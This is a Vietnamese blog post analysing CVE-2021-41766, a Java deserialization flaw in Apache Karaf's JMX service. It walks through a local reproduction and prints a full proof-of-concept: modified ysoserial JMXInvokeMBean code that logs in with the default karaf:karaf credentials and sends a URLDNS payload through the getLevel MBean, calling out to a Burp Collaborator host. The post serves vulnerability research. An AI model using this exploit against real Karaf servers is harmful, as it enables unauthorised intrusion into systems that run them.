Phân tích CVE-2021-41766: Lỗ hổng java deserialization trên Apache Karaf

    Xét ở góc độ cách khai thác của CVE này thì đây không phải là một CVE thú vị và đáng được lưu tâm. Tuy nhiên, trong quá trình nghiên cứu CVE này, mình gặp khá nhiều khó khăn để tái hiện và phân tích lỗi này. Tính tới thời điểm viết bài thì chưa có PoC cho CVE-2021-41766, cũng như bài phân tích về CVE này, nên có thể coi đây là bài phân tích 1-day (đầu tiên) của mình 😄

0x01 Tổng quan về CVE-2021-41766

    Theo như mô tả trên cơ sở dữ liệu của NIST về CVE-2021-41766, CVE này liên quan tới Java Management Extension (JMX). Vì vậy, trước khi đi sâu hơn vào CVE này, các bạn nên tìm hiểu thêm về JMX và MBean service nữa nhé. Mình sẽ để các link mình đã dùng để tìm hiểu ở cuối bài.

    Thông tin mấu chốt giúp mình tái tạo PoC cho CVE này là

    Whereas the default JMX implementation is hardened against unauthenticated deserialization attacks, the implementation used by Apache Karaf is not protected against this kind of attack.

    Như vậy, mình có thể rút ra mấy ý như sau:

  • Trước đó, có triển khai JMX mặc định (default JMX implementation) từng bị tấn công bởi một kỹ thuật X, dẫn tới bị khai thác lỗ hổng unauthenticated deserialization. Default JMX implementation đã vá lỗi này.
  • Tuy nhiên, khi Apache Karaf triển khai JMX, Apache Karaf không áp dụng các cơ chế để vá lỗi trên, dẫn tới phần triển khai JMX của Apache Karaf có thể bị tấn công bởi kỹ thuật X. Điều đó nghĩa là, nếu mình tìm được kỹ thuật X đã từng dùng để khai thác cơ chế triển khai JMX mặc định, thì mình cũng có thể khai thác triển khai JMX của Apache Karaf với cơ chế tương tự!

    (Và bằng một phép màu nào đó mình mất gần 1 tuần mới để ý đến đoạn này 😭)

0x02 Dựng môi trường debug cho Apache Karaf

    Thực sự đến giờ mình vẫn chưa hiểu rõ Apache Karaf là gì, nên mình sẽ chỉ viết lại quá trình dựng môi trường debug như nào thôi đã vậy.

    Theo như Apache Karaf Advisory cho CVE-2021-41766, các phiên bản trước 4.3.6 sẽ bị ảnh hưởng bởi lỗi này. Vì vậy, mình tải Apache Karaf phiên bản 4.3.5 để dựng môi trường debug. Source code của Apache Karaf mình download trên github https://github.com/apache/karaf/releases/tag/karaf-4.3.5

    Làm theo hướng dẫn của Xixia Yipintang, mình mở file bin\karaf.bat lên và thêm dòng set KARAF_DEBUG=true image.png

    Chạy file bin\karaf.bat. Để ý Apache Karaf nhận kết nối cho debug từ xa thông qua cổng 5005 image.png

    Để debug Apache Karaf từ xa, mình dùng Remote JVM Debug của InteliJ IDEA. Cấu hình mặc định của Remote JVM Debug (mình đặt tên là remoteDebug) đã kết nối tới cổng 5005, vì vậy mình để nguyên. image.png

    Chạy remoteDebug trong IDEA. Nếu hiện thông báo kết nối như hình dưới dây tức là đã set up debug cho Apache Karaf thành công image.png

0x03 Phân tích lỗ hổng

    Như đã phân tích ở phần 1, mình bắt đầu đi tìm hiểu các cách khai thác JMX Implementation và tìm thấy một bài khá chi tiết https://mogwailabs.de/en/blog/2019/04/attacking-rmi-based-jmx-services/. Các bạn có thể tự đọc mục Deserialization on the JMX/MBean level rồi tự phân tích lỗ hổng này nhé.

    Có thể một ngày đẹp trời nào đó (sau khi viết xong đồ án) thì mình sẽ quay lại để bổ sung nốt phần này.

0x04 Tái hiện lỗ hổng

    Cách khai thác lỗ hổng này đã được commit ở ysoserial/exploit/JMXInvokeMBean.java. Để đơn giản quá trình khai thác, mình mở nguyên ysoserial project trong IDEA, rồi sửa lại file JMXInvokeMBean.java để khai thác CVE-2021-41766.

Kết nối đến Apache Karaf server

    Để sử dụng JMXInvokeMBean, mình cần 4 đối số

  • host: địa chỉ máy chủ Apache Karaf. Ở đây, mình tái hiện lỗ hổng trên localhost nên host cũng là localhost.
  • port: cổng JMX RMI service của máy chủ Apache Karaf. Cổng dịch vụ mặc định của RMI luôn là 1099
  • payload_type: tên loại ysoserial payload dùng để khai thác lỗ hổng deserialization. Trong bài này, mình sử dụng URLDNS payload
  • payload_arg: các đối số (argument) của loại ysoserial payload tương ứng. Ở đây mình lấy URL của Burp Collaborator Client.

    Các thông tin về hostport sẽ được dùng để khởi tạo một JMXServiceURL. serviceUrl của Apache Karaf được cấu hình ở file etc/org.apache.karaf.management.cfg, có giá trị mặc định là service:jmx:rmi:///jndi/rmi://localhost:1099/karaf-root.

    Tuy nhiên, khi mình thử connect tới Apache Karaf server thì chương trình báo lỗi về yêu cầu thêm credentials. Credentials của Apache Karaf được lưu ở file etc/users.properties, có giá trị mặc định là karaf:karaf.

    Với tất cả các thông tin trên, mình có thể sửa code trong JMXInvokeMBean.java để kết nối đến JMX RMI service của Apache Karaf server. Đoạn code mình sửa các thông tin liên quan để kết nối tới Apache Karaf như sau:

args = new String[4];
args[0] = "localhost";
args[1] = "1099";
args[2] = "URLDNS";
args[3] = "http://8x6r511e351r0z6px6oavfxdu40vok.burpcollaborator.net";

HashMap environment = new HashMap();
String[] credentials = new String[] {"karaf", "karaf"};
environment.put (JMXConnector.CREDENTIALS, credentials);

JMXServiceURL url = new JMXServiceURL("service:jmx:rmi:///jndi/rmi://" + args[0] + ":" + args[1] + "/karaf-root");

JMXConnector jmxConnector = JMXConnectorFactory.connect(url, environment);
MBeanServerConnection mbeanServerConnection = jmxConnector.getMBeanServerConnection();

Khai thác JMX RMI service của Apache Karaf: getLevel

    Apache Karaf có 1 JMX service khá giống với getLoggingLevel của JMX service mặc định là getLevel. Mở jconsole lên vào connect vào Apache Karaf, mình có thể thấy hàm này cũng nhận argument kiểu String và cũng trả về log level. image.png

    image.png

    Đến đoạn này, mình gần như là sẽ mô phỏng (nói dân dã thì gọi là bắt chước) cách khai thác getLoggingLevel của JMX mặc định. Một cách dễ dàng, mình có được các thông tin của (MBean) service này như sau:

  • (MBean) service name: org.apache.karaf:type=log,name=root
  • Operation name: getLevel

    Với các thông tin trên, mình sửa nốt phần code để gửi malicious object tới Apache Karaf trong JMXInvokeMBean.java như sau:

// create the payload
Object payloadObject = Utils.makePayloadObject(args[2], args[3]);   
ObjectName mbeanName = new ObjectName("org.apache.karaf:type=log,name=root");

mbeanServerConnection.invoke(mbeanName, "getLevel", new Object[]{payloadObject}, new String[]{String.class.getCanonicalName()});

CVE-2021-41766 PoC

    Sau khi sửa code như 2 phần trên, mình có được file PoC của CVE-2021-41766 như sau:

public class JMXInvokeMBean {

	public static void main(String[] args) throws Exception {
	
//		if ( args.length < 4 ) {
//			System.err.println(JMXInvokeMBean.class.getName() + " <host> <port> <payload_type> <payload_arg>");
//			System.exit(-1);
//		}
		args = new String[4];
		args[0] = "localhost";
		args[1] = "1099";
		args[2] = "URLDNS";
		args[3] = "http://8x6r511e351r0z6px6oavfxdu40vok.burpcollaborator.net";

		HashMap environment = new HashMap();
		String[] credentials = new String[] {"karaf", "karaf"};
		environment.put (JMXConnector.CREDENTIALS, credentials);

		JMXServiceURL url = new JMXServiceURL("service:jmx:rmi:///jndi/rmi://" + args[0] + ":" + args[1] + "/karaf-root");

		JMXConnector jmxConnector = JMXConnectorFactory.connect(url, environment);
		MBeanServerConnection mbeanServerConnection = jmxConnector.getMBeanServerConnection();

		// create the payload
		Object payloadObject = Utils.makePayloadObject(args[2], args[3]);   
		ObjectName mbeanName = new ObjectName("org.apache.karaf:type=log,name=root");

		mbeanServerConnection.invoke(mbeanName, "getLevel", new Object[]{payloadObject}, new String[]{String.class.getCanonicalName()});

		//close the connection
		jmxConnector.close();
    }
}

    Sau khi chạy file PoC, Burp Collborator Client log được 1 lookup request, cho thấy lỗ hổng java deserialization đã bị khai thác thành công image.png

0x05 Kết luận

    Tuy đây là 1 CVE sử dụng cơ chế khai thác cũ nhưng để tái hiện CVE này đòi hỏi khá nhiều kiến thức mới lạ (ít nhất là đối với mình). Kể ra bài này mình cũng không phải tự viết PoC mà chỉ sửa lại mấy cái PoC cũ cho khớp nên không hẳn là 1 bài 1-day hoàn chỉnh. Mong là sáp tới mình có thể viết những bài phân tích 1-day theo đúng nghĩa của nó 😄

Nguồn tham khảo

  1. https://www.baeldung.com/java-management-extensions
  2. https://subscription.packtpub.com/book/application-development/9781783985081/1/ch01lvl1sec13/using-jmx-to-monitor-and-administer-apache-karaf
  3. https://mogwailabs.de/en/blog/2019/04/attacking-rmi-based-jmx-services/
  4. https://www.google.com/url?q=https://blog.csdn.net/mn960mn/article/details/47810981&sa=D&source=editors&ust=1651227249040661&usg=AOvVaw3QOSNDG0bA3H79fYAmVLdq

Nguồn: Viblo

Bình luận
Vui lòng đăng nhập để bình luận
Một số bài viết liên quan